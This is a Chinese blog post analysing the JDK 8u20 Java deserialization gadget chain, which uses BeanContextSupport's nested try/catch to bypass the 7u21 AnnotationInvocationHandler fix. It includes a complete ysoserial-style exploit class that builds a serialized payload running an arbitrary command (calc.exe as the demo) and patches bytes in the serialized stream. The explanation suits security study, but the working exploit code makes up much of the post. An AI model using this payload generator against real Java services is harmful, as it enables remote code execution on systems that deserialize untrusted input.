首页 > 其他分享 >jdk8u20 链子分析

jdk8u20 链子分析

时间:2024-10-21 16:42:50浏览次数:1  
标签:分析 java ser 链子 jdk8u20 BeanContextSupport catch import 序列化

jdk8u20 链子分析

JDK7u21 中反序列化漏洞修补方式是在 AnnotationInvocationHandler 类对type属性做了校验,原来的payload就会执行失败。但在8u20中可以用 BeanContextSupport 类对这个修补方式进行绕过,所以说其实 jdk8u20 就是对 jdk7u21 的绕过。

链子分析

可以看到在高版本的 AnnotationInvocationHandler#redobject 方法判断 this.type 是不是annotation类型,原payload里面是 Templates 类型,所以这里会抛出错误,

这里需要提前了解一些机制,

一、反序列化机制

oracle 官方定义的 Java 中可序列化对象流的原则——如果一个类中定义了readObject方法,那么这个方法将会取代默认序列化机制中的方法读取对象的状态,可选的信息可依靠这些方法读取,而必选数据部分要依赖defaultReadObject方法读取;

可以看到在该类内部的readObject方法第一行就调用了defaultReadObject()方法,该方法主要用来从字节流中读取对象的字段值,它可以从字节流中按照定义对象的类描述符以及定义的顺序读取字段的名称和类型信息。这些值会通过匹配当前类的字段名称来赋予,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值

在利用defaultReadObject()还原了一部分对象的值后,最近进行AnnotationType.getInstance(type)判断,如果传入的 type 不是AnnotationType类型,那么抛出异常。

也就是说,实际上在 jdk7u21 漏洞中,我们传入的 AnnotationInvocationHandler 对象在异常被抛出前,已经从序列化数据中被还原出来。换句话说就是我们的恶意 payload 已经构造进去了,但是异常阻断了继续执行,所以这里需要逃过异常抛出。

那么又该怎么逃呢?

二、Try/catch

正常的就是把可能发生异常的语句放进 try{...}中,然后使用catch捕获对应的Exception及其子类,这样一来,在 JVM 捕获到异常后,会从上到下匹配catch语句,匹配到某个catch后,执行catch代码块,从而达到继续执行代码的效果。

这里我们需要讨论双重 try/catch 的情况,

package org.example;  
  
public class test {  
    public static void main(String[] args) {  
        try {  
            try {  
                int i = 1/0;  
            }catch (Exception e){  
                throw new Exception("wrong");  
            }  
        }catch (Exception e){  
        }  
        System.out.println("true");  
    }  
}

运行看到显示 true

这能说明什么呢?在内层的 try/catch 中进入 catch 模块抛出了异常然后会直接进入外层 catch 的模块打印信息,这样就会继续执行命令从而绕过了抛出异常阻断执行了。

那么结合上面 AnnotationInvocationHandler#redobject 中的抛出异常如果在其外面在套一层 try/catch 是不是就可以成功逃脱了。

这里漏洞者用到 java.beans.beancontext.BeanContextSupport 类对这里进行了绕过。定位到 BeanContextSupport 类,看到其 readobject 方法调用了readChildren,

跟进

再次调用 ois.readObject() 方法,并且 try/catch 可以继续执行执行,也就是说这里可以调用 AnnotationInvocationHandler#redobject ,然后抛出异常后匹配到这里 catch 模块执行 continue 从而继续执行命令。

如何用BeanContextSupport.readObject触发AnnotationInvocationHandler.readObject呢?

具体利用链子就是在LinkedHashSet中强行插入一个BeanContextSupport类型的字段值,由于在java反序列化的流程中,一般都是首先还原对象中字段的值,然后才会还原objectAnnotation结构中的值(即是按照序列化数据结构的顺序),所以它会首先反序列化LinkedHashSet,然后反序列LinkedHashSet字段的值,由于在这个字段值中有一个BeanContextSupport类型的字段,所以反序列化会去还原BeanContextSupport对象,也就是objectAnnotation中的数据

在反序列化BeanContextSupport的过程中,会首先反序列化BeanContextSupport的字段值,其中有个值为 Templates.classAnnotationInvocationHandler 类的对象的字段,然后反序列化会去还原AnnotationInvocationHandler对象,成功的关联了下一个链!

更进具体的原理可以参考:https://cloud.tencent.com/developer/article/2204437

poc 构造

这个就直接参考师傅们的了,懒得构造了

参考:https://tttang.com/archive/1729/#toc_try-catch-demo

poc 项目:https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk8u20_my.java

package ysoserial.payloads;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
import ysoserial.Deserializer;  
import ysoserial.Serializer;  
import ysoserial.payloads.util.ByteUtil;  
import ysoserial.payloads.util.Gadgets;  
import ysoserial.payloads.util.ReadWrite;  
import ysoserial.payloads.util.Reflections;  
  
import javax.xml.transform.Templates;  
import java.beans.beancontext.BeanContextSupport;  
import java.lang.reflect.InvocationHandler;  
import java.util.HashMap;  
import java.util.LinkedHashSet;  
  
 public class Jdk8u20_my implements ObjectPayload{  
     public static Class newInvocationHandlerClass() throws Exception{  
         ClassPool pool = ClassPool.getDefault();  
         CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);  
         CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +  
             "        os.defaultWriteObject();\n" +  
             "    }",clazz);  
         clazz.addMethod(writeObject);  
         Class c = clazz.toClass();  
         return c;  
     }  
  
     public byte[] getPayload(final String command) throws Exception {  
         TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);  
  
         Class ihClass = newInvocationHandlerClass();  
         InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());  
  
         Reflections.setFieldValue(ih,"type", Templates.class);  
         Templates proxy = Gadgets.createProxy(ih,Templates.class);  
  
         BeanContextSupport b = new BeanContextSupport();  
         Reflections.setFieldValue(b,"serializable",1);  
         HashMap tmpMap = new HashMap<>();  
         tmpMap.put(ih,null);  
         Reflections.setFieldValue(b,"children",tmpMap);  
  
  
         LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy         set.add(b);  
         set.add(templates);  
         set.add(proxy);  
  
         HashMap hm = new HashMap();  
         hm.put("f5a5a608",templates);  
         Reflections.setFieldValue(ih,"memberValues",hm);  
  
         byte[] ser = Serializer.serialize(set);  
  
         byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};  
  
         int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);  
         ser = ByteUtil.deleteAt(ser,i); // delete 0x78  
         ser = ByteUtil.deleteAt(ser,i); // delete 0x70  
  
         return ser;  
     }  
  
     public static void main(final String[] args) throws Exception {  
         byte[] ser = new Jdk8u20_my().getPayload("calc.exe");  
         ReadWrite.writeFile(ser,"ser.bin");  
  
         // 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错  
//         Deserializer.deserialize(ser);  
     }  
  
     @Override  
     public Object getObject(String command) throws Exception {  
         return getPayload(command);  
     }  
 }

最后反序列化成功弹出计算机,

标签:分析,java,ser,链子,jdk8u20,BeanContextSupport,catch,import,序列化
From: https://www.cnblogs.com/gaorenyusi/p/18489806

相关文章

  • 零基础入门转录组下游分析——数据处理(TCGA数据库)
    零基础入门转录组下游分析——数据处理(TCGA数据库)目录零基础入门转录组下游分析——数据处理(TCGA数据库)1.数据集获取2.数据处理(Rstudio)TCGA应该是肿瘤数据最权威的来源之一,但是从TCGA上下载数据集相对来说比较麻烦,因此出现了很多针对TCGA数据进行二次开发的衍生......
  • 17track物流查询平台 last-event-id 参数逆向分析
    声明本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作......
  • 【JS逆向百例】某赚网 WebSocket 套 Webpack 逆向分析
    声明本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作......
  • 【25届计算机毕设选题推荐】基于python的重庆旅游景点数据分析系统的设计与实现 【附
    ✍✍计算机毕设编程指导师**⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流!⚡⚡Java、Python、小程序、大数据实战项目集⚡⚡文末获取......
  • 【智能大数据分析 | 实验四】Spark实验:Spark Streaming
    【作者主页】FrancekChen【专栏介绍】⌈⌈⌈智能大数据分析⌋......
  • CAE教程:HyperMesh概述与有限元分析简介
    1.1HyperMesh概述本节将介绍有限单元法基本原理,HyperMesh软件基本功能及界面介绍,获取在线帮助等内容。1.1.1有限元分析方法简介有限单元法(FEM)是一种可以精确预测复杂结构在外界载荷作用下响应的方法,该数值方法起源于上世纪50年代。在有限单元法出现之前,验证设计方案或评......
  • 用C++构建自己的编译器:从词法分析到代码生成
    解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界本文将带领读者从零开始构建一个简单的C++编译器。我们将逐步讲解如何进行词法分析、语法分析,以及如何将这些结果转换为目标代码。这篇文章的目标是帮助读者理解编译器的基本构成和工作原理,并提供可扩展的编译器......
  • 你为什么不应该过度关注go语言的逃逸分析
    逃逸分析算是go语言的特色之一,编译器自动分析变量/内存应该分配在栈上还是堆上,程序员不需要主动关心这些事情,保证了内存安全的同时也减轻了程序员的负担。然而这个“减轻负担”的特性现在却成了程序员的心智负担。尤其是各路八股文普及之后,逃逸分析相关的问题在面试里出现的频率......
  • 深度学习代码结构分析(之常见文件夹的作用)
    记录一下小白对深度学习论文代码的分析对于初次接触开源项目代码的人来说,看不明白这些众多的文件夹和文件是干什么的,其实很多文件夹和文件有自己比较固定的内容,以下整理一些常见的文件夹的含义。1.__pycache__文件夹:(编译自动产生)__pycache__文件夹是什么,是缓存文件吗,可以删除......
  • 基于Python的耳机数据爬虫与可视化分析平台设计和实现
    目录:目录:博主介绍: 完整视频演示:你应该选择我技术栈介绍:需求分析:系统各功能实现一览:1.注册2.登录部分代码参考: 项目功能分析: 项目论文:源码获取:博主介绍: ......